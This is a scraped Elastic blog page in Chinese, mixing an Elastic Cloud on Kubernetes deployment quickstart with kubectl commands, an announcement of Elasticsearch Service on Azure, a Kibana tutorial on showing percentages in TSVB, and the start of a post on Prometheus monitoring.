<p>只需一条命令便可部署 ECK，您相信吗？就是这样——只需运行下方命令便可部署最新的 ECK 0.9.0（截至撰写本文时）。无比简单快捷。</p><pre class="prettyprint">kubectl apply -f https://download.elastic.co/downloads/eck/0.9.0/all-in-one.yaml<br/></pre>
<p>部署完成后，您可以使用下方命令监测来自 Operator 的日志并确保一切顺利。片刻之间，便能部署完并运行 ECK 。</p><pre class="prettyprint">kubectl -n elastic-system logs -f statefulset.apps/elastic-operator<br/></pre>
<h2><strong>部署 Elastic Stack</strong></h2>
<p>既然现在 ECK 已在运行，我们可以开始部署 Elastic Stack 了，也是仅需一条命令。查看 <a href="https://github.com/adamquan/ECK/blob/master/apm_es_kibana.yaml" target="_self">apm_es_kibana.yaml</a> 并了解配置 Kibana 和 APM Server 有多么简单；配置完后，Kibana 和 APM Server 便可使用 elasticsearchRef 彼此进行通信。</p>
<p>您可以通过很多方法<a href="/guide/en/cloud-on-k8s/0.9/k8s-elasticsearch-specification.html" target="_self">对部署进行自定义</a>，例如：</p>
<ul>
  <li>Pod 模板</li>
  <li>节点配置</li>
  <li>虚拟内存</li>
  <li>自定义 HTTP 证书</li>
  <li>安全设置</li>
</ul>
<p>使用下方命令部署堆栈：</p><pre class="prettyprint">kubectl apply -f apm_es_kibana.yaml<br/></pre>
<p>通过 kubectl 或者 Kubernetes 仪表板了解 Elasticsearch、Kibana 和 APM Server 的状态，并确保所有均为绿色和可用状态：</p><pre class="prettyprint">kubectl get elasticsearch,kibana,apmserver<br/></pre>
<p>所有三个组件均变为绿色即表示您的 Elasticsearch 集群已部署完毕并正常运行，可以向其中采集数据了。ECK 可帮助我们完成很多任务。稍停一下，我们看一下 ECK 到底对我们的集群进行了哪些操作：</p>
<ul>
  <li>为 ECK 开启了<strong>安全</strong>功能。通过 ECK 部署的所有 Elastic Stack 资源均默认受到安全保护。内置的基本身份验证用户 elastic 已通过 TLS 进行配置，而且往返于 Elasticsearch 集群的以及 Elasticsearch 集群内的网络流量均通过 TLS 受到安全保护。</li>
  <li><strong>证书</strong>：默认情况下，会针对每个集群使用一个自签名 CA 证书。还可以配置自定义 HTTPS 证书。</li>
  <li><strong>默认服务暴露</strong>：会自动为您的集群和 Kibana 创建一项 ClusterIP 服务。如有需要，您当然可以将其配置为 LoadBalancer 类型。</li>
</ul>
<p>现在 Elasticsearch、Kibana 和 APM Server 都已正常运行，我们从 Kibana 中看一下。</p>
<h2><strong>访问 Kibana</strong></h2>
<p>默认情况下，Kibana 会暴露为一项可从集群内部访问集群 IP 的服务，但 Kibana 不会暴露至互联网。然而，您可以使用下方的端口转发命令让您的笔记本电脑可以访问 Kibana：</p><pre class="prettyprint">kubectl port-forward service/kibana-sample-kb-http 5601<br/></pre>
<p>登录 Kibana 之前，我们需要获得默认 elastic 用户的凭据。您可以运行 kubectl get secret，然后检查密钥以找出密钥的 JSON 路径。下面是我们案例的正确密钥和路径：</p><pre class="prettyprint">echo `kubectl get secret elasticsearch-sample-es-elastic-user -o=jsonpath='{.data.elastic}' | base64 --decode`<br/></pre>
<p>Elastic 用户的密码已显示出来。将其复制并保存至记事本中。</p>
<p>现在，打开浏览器并连接至 https://localhost:5601。由于我们使用的是自签名证书，您将需要接受浏览器的安全警告。使用 Elastic 用户和您刚检索到的密码登录 Kibana。您将会来到 Kibana 主页。我们的集群已完全部署完毕啦！</p>
<h2><strong>缩放和升级</strong></h2>
<p>在 ECK 中缩放和升级 Elasticsearch 集群的过程十分简单，只需编辑部署配置并通过 kubectl 加以应用即可。</p>
<h3><strong>缩放</strong></h3>
<p>编辑您的部署清单 apm_es_kibana.yaml，在下面部分中将 elasticsearch 容器的内存大小从 3 GB 调整为 2 GB 即可：</p><pre class="prettyprint">        containers:<br/>          - name: elasticsearch <br/>            resources:<br/>              limits:<br/>                memory: <strong>3Gi</strong><br/></pre>
<p>保存文件并通过这条命令对节点进行缩放：</p><pre class="prettyprint">kubectl apply -f apm_es_kibana.yaml<br/></pre>
<p>立即切换至 Kubernetes 控制台，您在这里会看到创建了几个 Elasticsearch Pod。ECK 正在缩放 Elasticsearch 节点，而且实现了零中断。很快您就会发现新的 Pod 开始运行，而原始 Pod 也会消失。原始 Pod 的数据也畅通无阻地转移了过来。</p>
<p>您当然还可以通过其他方式对集群规模进行缩放，例如向其中添加更多节点。无论采用什么方式，通过简单的一条 kubectl apply 命令就能搞定。</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt9ce4b89f5a75638c/5d669de848f9131ee05db04e/eck-deployment-pod-creation-blog.png" data-sys-asset-uid="blt9ce4b89f5a75638c" alt="正在创建 Elasticsearch 集群" style="display: block;margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;" /></p>
<h3><strong>升级</strong></h3>
<p>现在，我们将集群升级至 7.2.0，只需简单地在部署清单文件 apm_es_kibana.yaml 中将 Elasticsearch、Kibana 和 APM Server 的版本从 7.1.0 更改为 7.2.0 即可。保存并通过下面的命令应用升级：</p><pre class="prettyprint">kubectl apply -f apm_es_kibana.yaml<br/></pre>
<p>相似地，从 Kubernetes 控制台中您可以看到 ECK 正在流畅地对 Elasticsearch、Kibana 和 APM Server 进行升级，而且实现了零中断。</p>
<p>升级过程完成后，验证并确认您所运行 Elastic Stack 的版本是 7.2.0。您现在完全相信 ECK 的强大能力了吧？希望如此。</p>
<h2><strong>总结</strong></h2>
<p>希望您喜欢 Elastic Cloud on Kubernetes 的快速入门过程，并且认识到这一过程有多么简单。在本篇博文的<a href="/cn/blog/getting-started-with-elastic-cloud-on-kubernetes-data-ingestion" target="_self">第 2 部分</a>，我们将会部署一个由 APM 检测的简单应用程序，并让其将 APM 数据发送至我们由 ECK 托管的集群。我们还会在 Kubernetes 中部署 Metricbeat，以将指标数据发送至集群。</p>

eck-announcement-banner.png

eck-deployment-blog-thumb.jpg

Getting started with Elastic Cloud on Kubernetes: Deployment

Elastic Cloud on Kubernetes 入门：部署

<p>我们很高兴地宣布 <a href="/cn/cloud/elasticsearch-service">Elasticsearch Service</a> on Elastic Cloud 现在支持在 Microsoft Azure 上进行部署。对于我们的很多托管型服务用户而言，在 Azure 上推出 Elasticsearch Service 将是一个备受欢迎的新举措，因为这些用户希望拥有更多的可选云服务提供商，而且他们很看重 Azure 强大的全球市场。在 Azure 上使用标准型服务的公司/组织现在可以在他们喜欢的云平台上享受完全托管式 Elasticsearch 服务的便利，而且这一服务由 Elasticsearch 的开发公司提供，这一点在之前是根本不可能的。
</p><p>现在 Azure 上的 Elasticsearch Service 用户可以一键式部署完整的托管式 Elasticsearch 和 Kibana 服务，而且这一服务由软件的开发公司提供。Elasticsearch Service 现有客户可以使用既有账户在 Azure 上进行部署，而新用户则可以通过 <a href="/cn/cloud/elasticsearch-service/signup?elektra=ess-on-azure-launch-blog">14 天的 Elasticsearch Service 免费试用计划</a>开始体验这项服务。
</p> <strong><h2><strong>加深 Elastic 与微软之间成功的合作关系</strong></h2></strong><p>通过在 Azure 上推出 Elasticsearch Service，我们致力于为 Elastic Stack 和微软产品的共同用户打造更棒的体验。我们有很多用户已经在 Azure 上部署了 Elasticsearch，他们通常使用的是数年前联合发布的<a href="/cn/partners/microsoft-azure">针对 Elastic Stack 的 ARM 模板</a>。我们同时还支持其他领域的微软技术，例如我们的 .NET 客户端、针对 WindowsOS 事件收集活动的 Winlogbeat、旨在确保 Elasticsearch 集群安全的 Azure Active Directory 集成，以及我们在 Elastic APM 产品中提供的 .NET 支持。与微软之间的这次合作十分重要，因为这有助于我们为由双方共同用户组成的社区提供支持。
</p> <strong><h2><strong>Elasticsearch 携手 Azure，提供您喜爱的所有功能</strong></h2></strong><p><a href="/cn/cloud/elasticsearch-service">Elasticsearch Service on Elastic Cloud</a> 是官方的托管型 Elasticsearch 和 Kibana 服务，由 Elastic 开发和提供支持。此服务提供多项功能，例如 Elastic APM、SIEM、Maps、Canvas、Machine Learning <a href="/cn/products/elasticsearch/service/pricing">等等</a>，同时还提供您在任何其他地方都无法获得的专业技术支持。用户可以信心满满地使用 Elasticsearch 和 Kibana，因为他们知道自己一直都拥有最新发布版本和安全补丁，可以一键式完成部署升级，而且还能实现零宕机时间。
</p><p>现在，Azure 客户可以享受到所有这些优势。
</p><p>“由于两家公司都十分重视开发人员和开源代码，这一点使得双方十分自然地达成此次契合无间的合作。从 Microsoft Azure 上的开发人员体验中，便可以很明显地看出微软致力于提供更多选择的承诺，这同时也反映出了我们的承诺，”Elastic 创始人暨首席执行官 Shay Banon 表示。
</p><p>微软公司 Cloud + AI 部门的高级副总裁 Scott Guthrie 说：“随着用户逐渐采用云服务，针对用户最重要的需求——例如搜索、日志、可观察性以及关键应用程序的安全性——提供解决方案将会是一项关键优势。微软和 Elastic 都专注于为开发人员提供更多选择和托管型服务，这能够帮助到我们共同的客户。”
</p><p>所有 Elasticsearch Service 客户以及试用用户都可以使用公开测试版，此版本将会从两个 Azure 地区（分别为弗吉尼亚州的美国东部 2 区 (East US 2)，以及位于荷兰的西欧区 (West Europe)）进行提供，并且包括 Elasticsearch Service 功能的完整集合。在测试版期间，用户可以获得 Elastic 技术支持。在 2019 年稍后的时间，我们希望推出此服务的正式版本，并且增加“任务关键型”支持服务级别。
</p><p>在推出测试版的同时，我们还提供另外一项限时优惠，即免费提供数据传输（导入/导出节点，以及在节点间传输）和快照存储（总存储量和请求）服务。在公开测试版期间，我们希望收到大家的反馈，并且将会很快宣布有关优惠期限的更多详情。
</p><p>Elastic 和微软的工程团队进行了缜密合作以进行对标并选择最佳 VM，从而为在 Azure 上运行 Elasticsearch Service 时拥有不同性能配置文件的各种 Elastic 用例提供支持。双方共同努力的成果便是四个<a href="/guide/en/cloud/current/ec-getting-started-templates.html">部署模板</a>，这些模板均可在 Azure 上优化 Elasticsearch Service：
</p><ul>
	<li><strong>高 I/O</strong>：此模板是搜索或普通用例的良好之选，在 L 系列 VM 的基础上运行，并且这些 VM 的本地 NVMe SSD 已针对高读取/写入需求进行优化。</li>
	<li><strong>热温架构</strong>：这一强大架构非常适用于日志和时序型用例，既具有 NVMe SSD 以实现快速访问和 1:100 的内存硬盘比，同时还具有 HDD 存储，从而以具有成本效益的方式长期保留数据。</li>
	<li><strong>高 CPU</strong>：这一模板可以提供双倍 CPU，所以通常用于脚本、计算、采集处理及其他计算密集型用例。</li>
	<li><strong>高内存</strong>：针对数据量较小的搜索用例，提供一种具有成本效益的选项。</li>
</ul><strong><h2><strong>开始在 Azure 上使用 Elasticsearch Service</strong></h2></strong><p>如需创建部署，Elasticsearch Service 现有用户只需登录并选择 Azure 地区即可。如果您希望迁移至自管型工作负载，请查看<a href="/guide/en/cloud/current/ec-migrate-data.html">我们的文档</a>，还可以观看<a href="/cn/webinars/migrating-your-elasticsearch-data-to-elastic-cloud">这场网络研讨会</a>以了解更多详情；我们致力于让您尽可能轻松地完成迁移，并且专注于在之后每个版本中为客户提供更好的体验。
</p>刚接触 Elasticsearch Service？您可以在 Azure Marketplace 中或者在 Elastic 网站上找到 Elasticsearch Service。通过我们 <a href="/cn/cloud/elasticsearch-service/signup?elektra=ess-on-azure-launch-blog">14 天的免费试用计划</a>立即启用吧，只需提供电子邮件地址即可。如仍有问题，<a href="/cn/contact">我们随时为您提供帮助</a>。

cloud-azure-blog-banner.png

blog-thumb-cloud-azure.png

现在可在 Microsoft Azure 上使用 Elasticsearch Service on Elastic Cloud

<p>By submitting you acknowledge that you've read and agree to our <a href="/legal/elastic-cloud-account-terms" target="_blank">Terms of Service</a>, and that Elastic may <a href="/legal/privacy-statement#how-we-use-the-information" target="_blank">contact you</a> about our related products and services, using the details you provide above. See <a href="/legal/privacy-statement/" target="_blank">Elastic’s Privacy Statement</a> for more details or to opt-out at any time.</p>

Newsletter GDPR Text

<p>提交即表示您确认您已阅读并同意我们的<a href="/cn/legal/elastic-cloud-account-terms" target="_self">服务条款</a>，并且 Elastic 可以使用您提供的上述详细信息与您联系，以向您介绍我们相关的<a href="/cn/legal/privacy-statement#how-we-use-the-information" target="_self">产品和服务</a>。如需了解更多信息，或想随时取消订阅，请参阅 <a href="/cn/legal/privacy-statement/" target="_self">Elastic 的隐私声明</a>。</p>

Speakers

Close

See more insights

The content on this page is not available in the selected language. As Elastic grows globally, we continue to support content in multiple languages.

The content on this page is not available in the selected language.

本页内容尚不支持所选语言。Elastic 正在不断努力，以实现对多种语言内容的支持。感谢您在此期间给予的耐心与陪伴！

Author

Articles by

Learn more

Watch now (no PT)

Watch now

See all top stories

All (no PT translation)

Contact information

Press Release

Share on Reddit

Share this story

Share by Email

Thank you for your interest!

Contact Info

Follow us on Youtube

Load More

Share on LinkedIn

Follow us on LinkedIn

Search Integrations

All Solutions

Video for

Follow us on Twitter

See when this webinar starts in my time zone

查看本次网络研讨会在我的时区的开始时间

Register to Watch

Register now

See All Posts

Can't make it? Register and we'll send you the recording. You'll also receive an email with related content

无法实时参加？注册后我们会给您发送录像。您还将收到相关内容的电子邮件。

Small image for

On-demand webinar

Featured webinar

Register to Attend

Share on Facebook

Reset all

Upcoming webinar

View more posts

Print

Hosted by

Sign In to Attend

View next

Follow us on Facebook

Share

Highlights

Read less

You'll also receive an email with related content

你将会收到一封相关内容的电邮。

Thank you for registering. We will send you a confirmation email soon.

谢谢注册。我们会尽快给您发送确认邮件。

What to explore next...

Load more news

Filters

Load more press releases

Share on Twitter

Continue reading

使用常见的可视化（包括饼图、单值指标、表格和时序）在 Kibana 中计算百分比。

<p>进行数据分析时，要想在数字间进行有效对比，使用百分数是一项不可或缺的重要方法，当所涉及数据在样本量或总值方面表现出巨大差异时，尤为如此。通过百分比，我们可以快速准确地了解在某个维度类型上（例如时间范围、地理区域、产品线等）数据总和发生了多大变化。
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blta00392f303d3138e/5df948c66ab6275c8e16ba17/data-percentage-kibana-line-regions-blog.jpg" data-sys-asset-uid="blta00392f303d3138e" alt="按地区绘制的线状图" style="display: block; margin: auto;">
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt82e624d0e3cbaa6f/5df948fc0654a2046f5ff0bc/data-percentage-kibana-line-regions-_-blog.jpg" data-sys-asset-uid="blt82e624d0e3cbaa6f" alt="按地区百分比绘制的线状图" style="display: block; margin: auto;">
</p>
<p>在本篇博文中，我们将会通过几个例子详细讲解如何在 Kibana 中使用 TSVB（时序数据可视化工具）借助常用的可视化（包括饼图、单值指标、表格或时序）计算百分比。
</p>
<p>在本篇博文中，我们将会使用 Kibana 中提供的 <em>flights</em> 和 <em>ecommerce</em> 样本数据集。通过使用这些数据，您能学会如何回答下面三个问题：
</p>
<ul>
	<li>准时航班的百分比是多少？</li>
	<li>每种延迟类型在一段时间内的比率是多少？</li>
	<li>总销售额周同比变化多少？</li>
</ul>
<p>但是，在开始之前，您需要<a href="/guide/en/kibana/7.5/add-sample-data.html">安装 flights 和 ecommerce 样本数据</a>。您既可以在自己的集群（6.5 或更新版本）中安装这些样本数据，也可以 14 天免费试用我们的 <a href="/cn/elasticsearch/service">Elasticsearch Service</a>。
</p><strong>
<h2>准时航班的百分比是多少？</h2></strong>
<p>您的客户是一家航空公司，他们想在仪表板上突出显示一个数字，以展示他们在准点率这个目标方面的表现如何。kibana_sample_data_flights 样本索引中的每个文档都代表一个航班，所以如要计算百分比，您需要用代表“准点航班”的文档数量除以总航班数。
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltc29db4212ce9ebe3/5df94951999d6004627d8bf3/data-percentage-kibana-flight-filter-ratio-blog.png" data-sys-asset-uid="bltc29db4212ce9ebe3" alt="准点航班数除以总航班数" style="display: block; margin: auto;">
</p>
<p>由于要使用这一算法公式，您应该使用 <a href="/guide/en/kibana/7.5/TSVB.html">TSVB 中的 Metric 可视化</a>，因为其中包含 <strong>Filter ratio</strong> 计算方法。<strong>Filter ratio</strong> 会针对两个文档集中的同一指标进行除法运算，并返回一个数值。使用 TSVB 的唯一要求是索引中有一个时间字段，而 kibana_sample_data_flights 索引中正好有这一字段。
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt1644c88d08a10d00/5dfa41f36bf26d27fce208c9/data-percentage-kibana-flight-ontime-percent-blog.png" data-sys-asset-uid="blt1644c88d08a10d00" alt="准时百分比" style="display: block; margin: auto;">
</p>
<p>在 7.4 或更新版本中，要想使用 TSVB 完成这一配置，您首先需要选择可视化类型和数据集，然后配置用于显示上面百分比的聚合。
</p>
<p>要选择可视化类型和数据集，请：
</p>
<ol>
	<li>前往 TSVB，选择 <strong>Metric</strong> 选项卡<strong>：</strong><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt7c4ec46e9d38cbb2/5df94a2b999d6004627d8c0d/data-percentage-kibana-metric-tab-blog.png" data-sys-asset-uid="blt7c4ec46e9d38cbb2" alt="选择 Metric 选项卡" style="display: block; margin: auto;"></li>
	<li>选择 <strong>Panel options</strong> 选项卡<strong>：</strong></li>
	<img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt46336f0a372938e1/5dfa424ec80d975c7c97eff4/data-percentage-kibana-panel-options-blog.png" data-sys-asset-uid="blt46336f0a372938e1" alt="Panel options 选项卡" style="display: block; margin: auto;">
</ol>
<ol start="3">
	<li>将 <strong>Data timerange mode</strong> 设置为 Entire time range，不要设置为仅使用上一个时间间隔。<em><strong>注意：</strong>只有 7.4 及之后版本中才有此设置选项。对于之前的版本，您需将日期间隔设置为最大值。</em></li>
	<li>输入 <strong>kibana_sample_data_flights</strong> 作为索引。将 <strong>time field</strong> 设置为 <em>timestamp</em>。<img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt59e8197f3791be8e/5df94a9d6ab6275c8e16ba23/data-percentage-kibana-time-field-timestamp-blog.png" data-sys-asset-uid="blt59e8197f3791be8e" alt="将 time field 设置为 timestamp" style="display: block; margin: auto;"></li>
</ol>
<p>您现在已经选择索引和时间范围，可以配置所显示的数据了。
</p>
<ol>
	<li>返回至 <strong>Data</strong> 选项卡并使用 <strong>Filter Ratio</strong> 来计算特定值（例如 <strong>FlightDelayType: "No Delay"）的百分比。</strong><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blte9031a9f52cec212/5df94b0b72004b03ce1d0fb2/data-percentage-kibana-filter-ratio-blog.png" data-sys-asset-uid="blte9031a9f52cec212" alt="使用 Filter Ratio" style="display: block; margin: auto;">
	<ul>
		<li><strong>Filter Ratio</strong> 会使用 <a href="/guide/en/elasticsearch/reference/current/query-dsl-query-string-query.html">query string syntax</a> 来选中两个文档集。</li>
	</ul></li>
</ol>
<ol start="2">
	<li>前往 <strong>Options</strong> 选项卡并选择百分比格式设置工具。
	<ul>
		<li>如果默认的小数点后 4 位精度对您来说太过精确，您可以使用自定义格式字符串来减少位数。<img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt33c0bafe8373c34b/5dfa42cabda0aa5d1ad54183/data-percentage-kibana-metric-options-custom-blog.png" data-sys-asset-uid="blt33c0bafe8373c34b" alt="使用自定义格式字符串" style="display: block; margin: auto;"></li>
	</ul></li>
</ol>
<p>如果要比较多个值，而不仅限于一个值，您还可以使用 Kibana 中的另外两个可视化。如果使用 <strong>bucket aggregation</strong> 来选择要比较的数值，您可以使用饼状图或表格将每个值转换为百分比。
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt21b1823be6d126be/5df95bcac1df3b5a1f0703eb/data-percentage-kibana-pie-chart-blog.png" data-sys-asset-uid="blt21b1823be6d126be" alt="使用饼状图将每个值转换为百分比" style="display: block; margin: auto;">
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blte0ac679f10aec4ed/5df95bff46bc275c71356b3d/data-percentage-kibana-table-vis-blog.png" data-sys-asset-uid="blte0ac679f10aec4ed" alt="使用表格可视化将每个值转换为百分比" style="display: block; margin: auto;">
</p>
<p>这些可视化针对 FlightDelayType 字段应用 <strong>Terms</strong> 桶聚合，将每个桶中的数量转换为占总值的百分比并显示出来。在 flights 样本数据中，字段 <strong>FlightDelayType</strong> 仅有 6 个唯一值，所以将 Terms 的数量设置为 6 或更大时，显示的百分比是准确的。如果数据中有更多的唯一值，您需要启用“Other”桶，以便涵盖所有数据：
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltb657e81b6c5a4fee/5dfa430a973ece5c8871279b/data-percentage-kibana-buckets-blog.png" data-sys-asset-uid="bltb657e81b6c5a4fee" alt="启用 Other 桶" style="display: block; margin: auto;">
</p><strong>
<h2>每种延迟类型在一段时间内的比率是多少？</h2></strong>
<p>这家公司希望在仪表板中并排展示两个可视化：基于时序对比上面的汇总结果。这能够让他们向下钻取至具体时间范围，并同时查看汇总数据和细分数据。
</p>
<p>由于航班文档中有时间字段，TSVB 是创建可视化的最得力工具。仍然使用上面的设置，您可以使用 <strong>Filter Ratio</strong> 来针对每个时间间隔计算“No Delay”（无延迟）航班除以总航班数量的值：
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltae7597dd8910afcb/5df95c6646bc275c71356b43/data-percentage-kibana-ontime-vis-blog.png" data-sys-asset-uid="bltae7597dd8910afcb" alt="关于准时航班的可视化" style="display: block; margin: auto;">
</p>
<p>要对比多于一项时序数据，您既可创建多个 Filter ratio，也可以使用聚合来选择群组。TSVB 有一个模式可用来展示多个时序，总比例为 100%。
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blte39470e4cbb1c9a6/5dfa602146bc275c713570a6/data-percentage-kibana-stacked-vis-blog.jpg" data-sys-asset-uid="blte39470e4cbb1c9a6" alt="多时序可视化" style="display: block; margin: auto;">
</p>
<p>如要在 TSVB 中配置堆叠式百分比可视化，您首先需要选择正确的数据，然后配置您的聚合。如要选择正确的数据：
</p>
<ol>
	<li>前往 TSVB，选择 <strong>Panel options</strong>，然后输入 <strong>kibana_sample_data_flights</strong> 作为索引。</li>
	<li>将 <strong>Time field</strong> 设置为 <em>timestamp</em>。<em><em></em></em><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt404bb952fff4ecbc/5df95d33bda0aa5d1ad53d34/data-percentage-kibana-stacked-timestamp-blog.png" data-sys-asset-uid="blt404bb952fff4ecbc" alt="将 time field 设置为 timestamp" style="display: block; margin: auto;"></li>
</ol>
<p>如要配置您的聚合：
</p>
<ol>
	<li>返回至 <strong>Data</strong> 选项卡。</li>
	<li>在 <strong>Group by</strong> 下面，为 FlightDelayType 选择 <strong>Terms</strong>。</li>
	<li>前往 <strong>Options</strong> 选项卡。<img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt48a4f14abb2fab0f/5df95d85c1df3b5a1f0703f9/data-percentage-kibana-options-tab-blog.png" data-sys-asset-uid="blt48a4f14abb2fab0f" alt="Options 选项卡中需选择的项目" style="display: block; margin: auto;"></li>
	<li>选择 <strong>Data Formatter &gt;</strong> <strong>Percent</strong>。</li>
	<li>选择 <strong> Stacked &gt; Percent</strong>。</li>
	<img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt4d1ce679f40a5ca0/5dfa43720f82e627e30221ba/data-percentage-kibana-stacked-percent-blog.png" data-sys-asset-uid="blt4d1ce679f40a5ca0" alt="选择 stacked-percent" style="display: block; margin: auto;">
	<li>选择 <strong>Split color theme </strong>&gt; <strong>Rainbow</strong>。</li>
</ol><strong>
<h2>销售额周同比变化多少？</h2></strong>
<p>您有一家电商客户，他们将每笔交易存储在 kibana_sample_data_ecommerce 索引中。他们希望通过可视化展示销售额的周同比变化百分比，这一指标对他们的业务至关重要。因为该问题中有一个时间元素，所以您将使用 TSVB 来创建这个可视化。您还可以使用 Timelion 创建周同比图表，但这里不会讲解。
</p>
<p>如您上面所看到的，TSVB 使用同一聚合既可创建指标可视化，也可创建时序可视化。和之前的例子（您将 <strong>Data timerange mode</strong> 设置为了 <strong>Entire time range</strong>）不同，在这个可视化中，您只需展示最近一天的数据与上周同一天数据的比较结果。如您所见，这两个可视化显示最近一天的销售额下降了 5.2%：
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt8f460928517cc07f/5dfa5e20999d6004627d91e0/data-percentage-kibana-percent-decrease-blog.png" data-sys-asset-uid="blt8f460928517cc07f" alt="销售额下降" style="display: block; margin: auto;">
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltd721942353259ea9/5df9613f6bf26d27fce20454/data-percentage-kibana-decrease-vis-blog.png" data-sys-asset-uid="bltd721942353259ea9" alt="显示下降的可视化" style="display: block; margin: auto;">
</p>
<p>如要创建此可视化，您需要计算每天的总销售额，然后与 7 天前的总额进行对比。最轻松的比较方法是 <strong>Serial Difference</strong> 聚合，这一聚合会选取每个值，然后从中减去特定时间间隔之前的值。
</p>
<p>和前面的例子一样，设置 TSVB，确保选择 <strong>kibana_sample_data_ecommerce</strong> 索引，并将 Time field 设置为 <em>order_date</em>。同时，还要将间隔准确设置为 <strong>1d</strong>。TSVB 中的默认间隔会基于整体时间范围而变化，而此次的计算需要将间隔时间设为固定值。
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt619c761e63728c49/5df961af999d6004627d8cab/data-percentage-kibana-data-sample-blog.png" data-sys-asset-uid="blt619c761e63728c49" alt="选择数据样本" style="display: block; margin: auto;">
</p>
<p>返回至 Data 选项卡，然后针对字段 <strong>taxful_total_price</strong> 选择 <strong>Sum</strong> 聚合。
</p>
<p><strong></strong>
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt902413233c386db0/5df961eac2cb735be5801c6d/data-percentage-kibana-total-sales-blog.png" data-sys-asset-uid="blt902413233c386db0" alt="Sum 聚合" style="display: block; margin: auto;">
</p>
<p>然后，针对 <strong>Sum of taxful_total_price</strong> 添加一个 <strong>Serial Difference</strong> 聚合，记得要设为相差 7 个桶，因为您已将时间间隔设置为 1 天。Serial Difference 会从每天的值中减去 7 个桶之前的那天的值，从而得出销售额周同比的总差额。由于 Serial Difference 指标的计算方式，它始终会将左边的 7 天留空，所以您应该选择一个较大的时间范围：
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltbd80a9d660d5010c/5df96230e372d203cfbfe0a4/data-percentage-kibana-serial-difference-blog.png" data-sys-asset-uid="bltbd80a9d660d5010c" alt="Serial Difference 聚合" style="display: block; margin: auto;">
</p>
<p>最后，您需要通过数学计算将周同比差额转换为百分比。将当前限售额和差额加在一起，然后除以当前销售额：
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt5a4948af410ce13a/5df962c846bc275c71356b83/data-percentage-kibana-math-blog.png" data-sys-asset-uid="blt5a4948af410ce13a" alt="使用公式计算百分比" style="display: block; margin: auto;">
</p>
<p>所用的 <a href="/guide/en/elasticsearch/painless/7.5/painless-guide.html"> Painless 脚本</a>为 <code>((params.total + params.diff) / params.total) - 1</code>
</p>
<p>结果如上面的可视化所示。为清晰起见，您还可以使用静态值 0 创建一个新的时序，以突出差额为 0 时的基准。
</p>
<p>您现在可以在 <strong>Time Series </strong>和 <strong>Metric</strong> 选项卡之间切换以决定哪种展示方式更适合您的用例。
</p>
<h2><strong>结论</strong>
</h2>
<p>这些只是在 Kibana 中有效计算和使用百分比的几个例子。除了我们在此篇博文中所列举的内容，如果您在处理百分比时希望探索更多计算选项，可以尝试使用 Kibana 中的 <a href="/cn/what-is/kibana-canvas">Canvas</a> 来同时控制数据的查询和显示方式。
</p>
<p><strong>其他资源</strong>
</p>
<ul>
	<li><a href="/cn/webinars/kibana-time-series-visual-builder-demystified">有关时序数据可视化的 Kibana 最佳实践 | Elastic视频</a></li>
	<li><a href="/guide/en/elasticsearch/painless/7.5/painless-guide.html">Painless 脚本语言的脚本编写指南</a></li>
	<li><a href="/guide/en/kibana/7.5/canvas-function-reference.html">Canvas 函数引用</a></li>
</ul>

data-percentage-kibana-blog-banner.jpg

data-percentage-kibana-blog-thumb.jpg

How to display data as a percentage in Kibana visualizations

如何在 Kibana 可视化中以百分比形式显示数据

了解 Elastic Stack 如何通过为大规模部署和跨团队协作添加功能来提高 Prometheus 的监测能力。

<p>工具。身为工程师，我们都喜欢优秀的工具，因为它们能帮助我们的团队高效工作，更快速地解决问题，并变得越来越好。但工具的数量越来越多，工具还需要进行额外维护，最重要的一点，工具会造成孤岛。每个团队都有特定责任并且也一直在不断地搜索相关工具，以求通过最佳方法满足具体要求。因此，虽然每个团队单独来看都提高了效率，但这种仅关注性能的自主性却会造成一个不良后果，即对公司/组织的其他领域缺乏了解。将此不良后果乘以团队数量，您很快就发现这样会造成集群相互隔离，让您无法整体查看公司的运行状况。&nbsp;<br>
</p><p>Prometheus 堪称良好工具的典范。它很快就成了人们在容器系统监测和告警领域的热门工具。它的主要优势在于能够高效地监测和存储服务器端指标。Prometheus 是一款完全开源的工具，拥有十分活跃的社区，并且以导出工具的形式将其使用范围扩展至很多第三方系统。和大部分专业工具一样，Prometheus 的宗旨是让用户轻松简单地完成操作。这一简单性也有一些弊端，针对大型部署和跨团队协作这一弊端尤其明显。在此篇博文中，我们将会研究其中的某些弊端，并了解如何借助 Elastic Stack 来克服这些难题。
